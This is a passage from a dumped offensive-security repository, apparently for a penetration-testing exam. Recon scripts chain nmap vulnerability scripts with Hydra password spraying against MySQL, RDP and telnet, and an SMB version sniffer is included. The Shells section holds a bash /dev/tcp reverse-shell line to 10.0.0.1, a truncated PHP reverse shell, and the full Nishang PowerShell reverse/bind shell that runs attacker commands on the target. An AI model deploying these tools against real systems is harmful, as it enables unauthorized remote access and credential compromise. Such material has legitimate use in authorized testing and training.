and returns the table args 'query''username''password' 26 | print "INFO: Performing nmap MySQL script scan for %s:%s" % (ip_address, port) 27 | #MySQLSCAN = "nmap -n -sV -Pn -vv -p %s --script mysql-empty-password,mysql-vuln-cve2012-2122,mysql-databases,mysql-dump-hashes,mysql-enum,mysql-info,mysql-variables,vulners -oA '/root/scripts/recon_enum/results/exam/mysql/%s_mysql' %s" % (port, ip_address, ip_address) 28 | #results = subprocess.check_output(MySQLSCAN, shell=True) 29 | subprocess.check_output(['nmap','-n','-sV','-Pn','-vv','-p',port,'--script=mysql-empty-password,mysql-vuln-cve2012-2122,mysql-databases,mysql-dump-hashes,mysql-enum,mysql-info,mysql-variables,vulners','-oA','/root/scripts/recon_enum/results/exam/mysql/%s_%s_mysql' % (ip_address,port),ip_address]) 30 | 31 | #Hydra meant to do weak brute/spray, not extensive 32 | #run manually for extensive brute 33 | print "INFO: Performing hydra mysql scan against %s" % (ip_address) 34 | #HYDRA = "hydra -L /root/lists/userlist_sqlbrute.txt -P /root/lists/quick_password_spray.txt -f -o /root/scripts/recon_enum/results/exam/mysql/%s_mysqlhydra.txt -u %s -s %s mysql" % (ip_address, ip_address, port) 35 | try: 36 | #results = subprocess.check_output(HYDRA, shell=True) 37 | #resultarr = results.split("\n") 38 | results = subprocess.check_output(['hydra','-L','/root/lists/userlist_sqlbrute.txt','-P','/root/lists/quick_password_spray.txt','-f','-o','/root/scripts/recon_enum/results/exam/mysql/%s_%s_mysqlhydra.txt' % (ip_address,port),'-u',ip_address,'-s',port,'mysql']).split("\n") 39 | for result in resultarr: 40 | if "login:" in result: 41 | print "[*] Valid mysql credentials found: %s" % (result) 42 | except subprocess.CalledProcessError as hydrerr: 43 | if hydrerr.returncode == 255: 44 | print "Hydra broke early with status 255, it must have found something! Check mysqlhydra for output." 45 | elif hydrerr.returncode != 0: 46 | print "Hydra broke:" 47 | print hydrerr.returncode 48 | print hydrerr.output 49 | else: 50 | print "INFO: No valid mysql credentials found" 51 | 52 | # outfile = "/root/scripts/recon_enum/results/exam/mysql/%s_mysqlrecon.txt" % (ip_address) 53 | # f = open(outfile, "w") 54 | # f.write(results) 55 | # f.close 56 | -------------------------------------------------------------------------------- /Recon/rdprecon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import subprocess 3 | import sys 4 | import os 5 | 6 | if len(sys.argv) != 3: 7 | print "Usage: rdprecon.py " 8 | sys.exit(0) 9 | 10 | ip_address = sys.argv[1].strip() 11 | port = sys.argv[2].strip() 12 | 13 | #NSE Script documentation 14 | #RUNNING 15 | #rdp-enum-encryption: determines which Security layer and Encryption level is supported by RDP service 16 | #rdp-vuln-ms12-020: checks for CVE-2012-0002 by checking for CVE-2012-0152 (DoS). Checks without crashing, but could still potentially crash. 17 | print "INFO: Performing nmap RDP script scan for %s:%s" % (ip_address, port) 18 | #RDPSCAN = "nmap -n -sV -Pn -vv -p %s --script=rdp-enum-encryption,rdp-vuln-ms12-020,vulners -oA '/root/scripts/recon_enum/results/exam/rdp/%s_rdp.nmap' %s" % (port, ip_address, ip_address) 19 | #results = subprocess.check_output(RDPSCAN, shell=True) 20 | subprocess.check_output(['nmap','-n','-sV','-Pn','-vv','-p',port,'--script=rdp-enum-encryption,rdp-vuln-ms12-020,vulners','-oA','/root/scripts/recon_enum/results/exam/rdp/%s_%s_rdp' % (ip_address,port),ip_address]) 21 | 22 | #Default Hydra configuration with a small username and password list 23 | #This configuration is meant to spray, not to brute. Manually configure a 24 | #Brute scan if desired. 25 | print "INFO: Performing hydra rdp scan against %s. This will take a LONG time" % (ip_address) 26 | #HYDRA = "hydra -L /usr/share/wordlists/lists/userlist.txt -P /usr/share/wordlists/lists/quick_password_spray.txt -f -o /root/scripts/recon_enum/results/exam/rdp/%s_rdphydra.txt -u %s -s %s rdp" % (ip_address, ip_address, port) 27 | try: 28 | #results = subprocess.check_output(HYDRA, shell=True) 29 | #resultarr = results.split("\n") 30 | results = subprocess.check_output(['hydra','-L','/root/lists/userlist.txt','-P','/root/lists/quick_password_spray.txt','-f','-o','/root/scripts/recon_enum/results/exam/rdp/%s_%s_rdphydra.txt' % (ip_address,port),'-t','4','-u',ip_address,'-s',port,'rdp']).split("\n") 31 | for result in resultarr: 32 | if "login:" in result: 33 | print "[*] Valid rdp credentials found: %s" % (result) 34 | except subprocess.CalledProcessError as hydrerr: 35 | if hydrerr.returncode == 255: 36 | print "Hydra broke early with status 255, it must have found something! Check rdphydra for output." 37 | elif hydrerr.returncode != 0: 38 | print "Hydra broke:" 39 | print hydrerr.returncode 40 | print hydrerr.output 41 | else: 42 | print "INFO: No valid rdp credentials found" 43 | # outfile = "/root/scripts/recon_enum/results/exam/rdp/%s_rdprecon.txt" % (ip_address) 44 | # f = open(outfile, "w") 45 | # f.write(results) 46 | # f.close 47 | -------------------------------------------------------------------------------- /Recon/smbver.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #Author: rewardone 3 | #Description: 4 | # Requires root or enough permissions to use tcpdump 5 | # Will listen for the first 8 packets of a null login 6 | # and grab the SMB Version 7 | #Notes: 8 | # Will sometimes not capture or will print multiple 9 | # lines. May need to run a second time for success. 10 | if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi 11 | if [ ! -z $2 ]; then rport=$2; else rport=139; fi 12 | tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & 13 | echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null 14 | echo "" && sleep .1 15 | -------------------------------------------------------------------------------- /Recon/telnetrecon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import subprocess 3 | import sys 4 | 5 | if len(sys.argv) != 3: 6 | print "Usage: telnetrecon.py " 7 | sys.exit(0) 8 | 9 | ip_address = sys.argv[1].strip() 10 | port = sys.argv[2].strip() 11 | 12 | #NSE Documentation 13 | #Running 14 | #telnet-encryption: determines whether encryption is supported. Some implement incorrectly and lead to remote root vuln. 15 | #telnet-ntlm-info: enum information from Microsoft Telnet with NTLM auth enabled. 16 | 17 | #Not Running 18 | #telnet-brute: brute-force password auditing 19 | print "INFO: Performing nmap Telnet script scan for %s:%s" % (ip_address, port) 20 | #TELNETSCAN = "nmap -n -sV -Pn -vv -p %s --script=banner,telnet-encryption,telnet-ntlm-info,vulners -oA '/root/scripts/recon_enum/results/exam/telnet/%s_telnet.nmap' %s" % (port, ip_address, ip_address) 21 | #results = subprocess.check_output(TELNETSCAN, shell=True) 22 | subprocess.check_output(['nmap','-n','-sV','-Pn','-vv','-p',port,'--script=banner,telnet-encryption,telnet-ntlm-info,vulners','-oA','/root/scripts/recon_enum/results/exam/telnet/%s_%s_telnet' % (ip_address,port),ip_address]) 23 | 24 | #Hydra meant to do weak brute/spray, not extensive 25 | #run manually for extensive brute 26 | print "INFO: Performing hydra telnet scan against %s" % (ip_address) 27 | #HYDRA = "hydra -L /usr/share/wordlists/lists/userlist.txt -P /usr/share/wordlists/lists/quick_password_spray.txt -f -o /root/scripts/recon_enum/results/exam/telnet/%s_telnethydra.txt -u %s -s %s telnet" % (ip_address, ip_address, port) 28 | try: 29 | #results = subprocess.check_output(HYDRA, shell=True) 30 | #resultarr = results.split("\n") 31 | results = subprocess.check_output(['hydra','-L','/root/lists/userlist.txt','-P','/root/lists/quick_password_spray.txt','-f','-o','/root/scripts/recon_enum/results/exam/telnet/%s_%s_telnethydra.txt' % (ip_address,port),'-u',ip_address,'-s',port,'telnet']) 32 | for result in resultarr: 33 | if "login:" in result: 34 | print "[*] Valid telnet credentials found: %s" % (result) 35 | except subprocess.CalledProcessError as hydrerr: 36 | if hydrerr.returncode == 255: 37 | print "Hydra broke early with status 255, it must have found something! Check telnethydra for output." 38 | elif hydrerr.returncode != 0: 39 | print "Hydra broke:" 40 | print hydrerr.returncode 41 | print hydrerr.output 42 | else: 43 | print "INFO: No valid telnet credentials found" 44 | 45 | # outfile = "/root/scripts/recon_enum/results/exam/telnet/%s_telnetrecon.txt" % (ip_address) 46 | # f = open(outfile, "w") 47 | # f.write(results) 48 | # f.close 49 | -------------------------------------------------------------------------------- /Shells/phpbash: -------------------------------------------------------------------------------- 1 | & /dev/tcp/10.0.0.1/8080 0>&1') 3 | ?> 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Shells/purephp.php: -------------------------------------------------------------------------------- 1 | array("pipe", "r"), // stdin is a pipe that the child will read from 109 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 110 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to 111 | ); 112 | 113 | $process = proc_open($shell, $descriptorspec, $pipes); 114 | 115 | if (!is_resource($process)) { 116 | printit("ERROR: Can't spawn shell"); 117 | exit(1); 118 | } 119 | 120 | // Set everything to non-blocking 121 | // Reason: Occsionally reads will block, even though stream_select tells us they won't 122 | stream_set_blocking($pipes[0], 0); 123 | stream_set_blocking($pipes[1], 0); 124 | stream_set_blocking($pipes[2], 0); 125 | stream_set_blocking($sock, 0); 126 | 127 | printit("Successfully opened reverse shell to $ip:$port"); 128 | 129 | while (1) { 130 | // Check for end of TCP connection 131 | if (feof($sock)) { 132 | printit("ERROR: Shell connection terminated"); 133 | break; 134 | } 135 | 136 | // Check for end of STDOUT 137 | if (feof($pipes[1])) { 138 | printit("ERROR: Shell process terminated"); 139 | break; 140 | } 141 | 142 | // Wait until a command is end down $sock, or some 143 | // command output is available on STDOUT or STDERR 144 | $read_a = array($sock, $pipes[1], $pipes[2]); 145 | $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 146 | 147 | // If we can read from the TCP socket, send 148 | // data to process's STDIN 149 | if (in_array($sock, $read_a)) { 150 | if ($debug) printit("SOCK READ"); 151 | $input = fread($sock, $chunk_size); 152 | if ($debug) printit("SOCK: $input"); 153 | fwrite($pipes[0], $input); 154 | } 155 | 156 | // If we can read from the process's STDOUT 157 | // send data down tcp connection 158 | if (in_array($pipes[1], $read_a)) { 159 | if ($debug) printit("STDOUT READ"); 160 | $input = fread($pipes[1], $chunk_size); 161 | if ($debug) printit("STDOUT: $input"); 162 | fwrite($sock, $input); 163 | } 164 | 165 | // If we can read from the process's STDERR 166 | // send data down tcp connection 167 | if (in_array($pipes[2], $read_a)) { 168 | if ($debug) printit("STDERR READ"); 169 | $input = fread($pipes[2], $chunk_size); 170 | if ($debug) printit("STDERR: $input"); 171 | fwrite($sock, $input); 172 | } 173 | } 174 | 175 | fclose($sock); 176 | fclose($pipes[0]); 177 | fclose($pipes[1]); 178 | fclose($pipes[2]); 179 | proc_close($process); 180 | 181 | // Like print, but does nothing if we've daemonised ourself 182 | // (I can't figure out how to redirect STDOUT like a proper daemon) 183 | function printit ($string) { 184 | if (!$daemon) { 185 | print "$string\n"; 186 | } 187 | } 188 | 189 | ?> 190 | 191 | 192 | 193 | -------------------------------------------------------------------------------- /Shells/wintty.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PowerShellTcp 2 | { 3 | <# 4 | .SYNOPSIS 5 | Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 6 | 7 | .DESCRIPTION 8 | This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 9 | Also, a standard netcat can connect to this script Bind to a specific port. 10 | 11 | The script is derived from Powerfun written by Ben Turner & Dave Hardy 12 | 13 | .PARAMETER IPAddress 14 | The IP address to connect to when using the -Reverse switch. 15 | 16 | .PARAMETER Port 17 | The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. 18 | 19 | .EXAMPLE 20 | PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 21 | 22 | Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 23 | the given IP and port. 24 | 25 | .EXAMPLE 26 | PS > Invoke-PowerShellTcp -Bind -Port 4444 27 | 28 | Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 29 | 30 | .EXAMPLE 31 | PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 32 | 33 | Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be 34 | listening on the given IP and port. 35 | 36 | .LINK 37 | http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html 38 | https://github.com/nettitude/powershell/blob/master/powerfun.ps1 39 | https://github.com/samratashok/nishang 40 | #> 41 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 42 | 43 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 44 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 45 | [String] 46 | $IPAddress, 47 | 48 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 49 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 50 | [Int] 51 | $Port, 52 | 53 | [Parameter(ParameterSetName="reverse")] 54 | [Switch] 55 | $Reverse, 56 | 57 | [Parameter(ParameterSetName="bind")] 58 | [Switch] 59 | $Bind 60 | 61 | ) 62 | 63 | 64 | try 65 | { 66 | #Connect back if the reverse switch is used. 67 | if ($Reverse) 68 | { 69 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 70 | } 71 | 72 | #Bind to the provided port if Bind switch is used. 73 | if ($Bind) 74 | { 75 | $listener = [System.Net.Sockets.TcpListener]$Port 76 | $listener.start() 77 | $client = $listener.AcceptTcpClient() 78 | } 79 | 80 | $stream = $client.GetStream() 81 | [byte[]]$bytes = 0..65535|%{0} 82 | 83 | #Send back current username and computername 84 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 85 | $stream.Write($sendbytes,0,$sendbytes.Length) 86 | 87 | #Show an interactive PowerShell prompt 88 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 89 | $stream.Write($sendbytes,0,$sendbytes.Length) 90 | 91 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 92 | { 93 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 94 | $data = $EncodedText.GetString($bytes,0, $i) 95 | try 96 | { 97 | #Execute the command on the target. 98 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 99 | } 100 | catch 101 | { 102 | Write-Warning "Something went wrong with execution of command on the target." 103 | Write-Error $_ 104 | } 105 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 106 | $x = ($error[0] | Out-String) 107 | $error.clear() 108 | $sendback2 = $sendback2 + $x 109 | 110 | #Return the results 111 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 112 | $stream.Write($sendbyte,0,$sendbyte.Length) 113 | $stream.Flush() 114 | } 115 | $client.Close() 116 | if ($listener) 117 | { 118 | $listener.Stop() 119 | } 120 | } 121 | catch 122 | { 123 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 124 | Write-Error $_ 125 | } 126 | } 127 | --------------------------------------------------------------------------------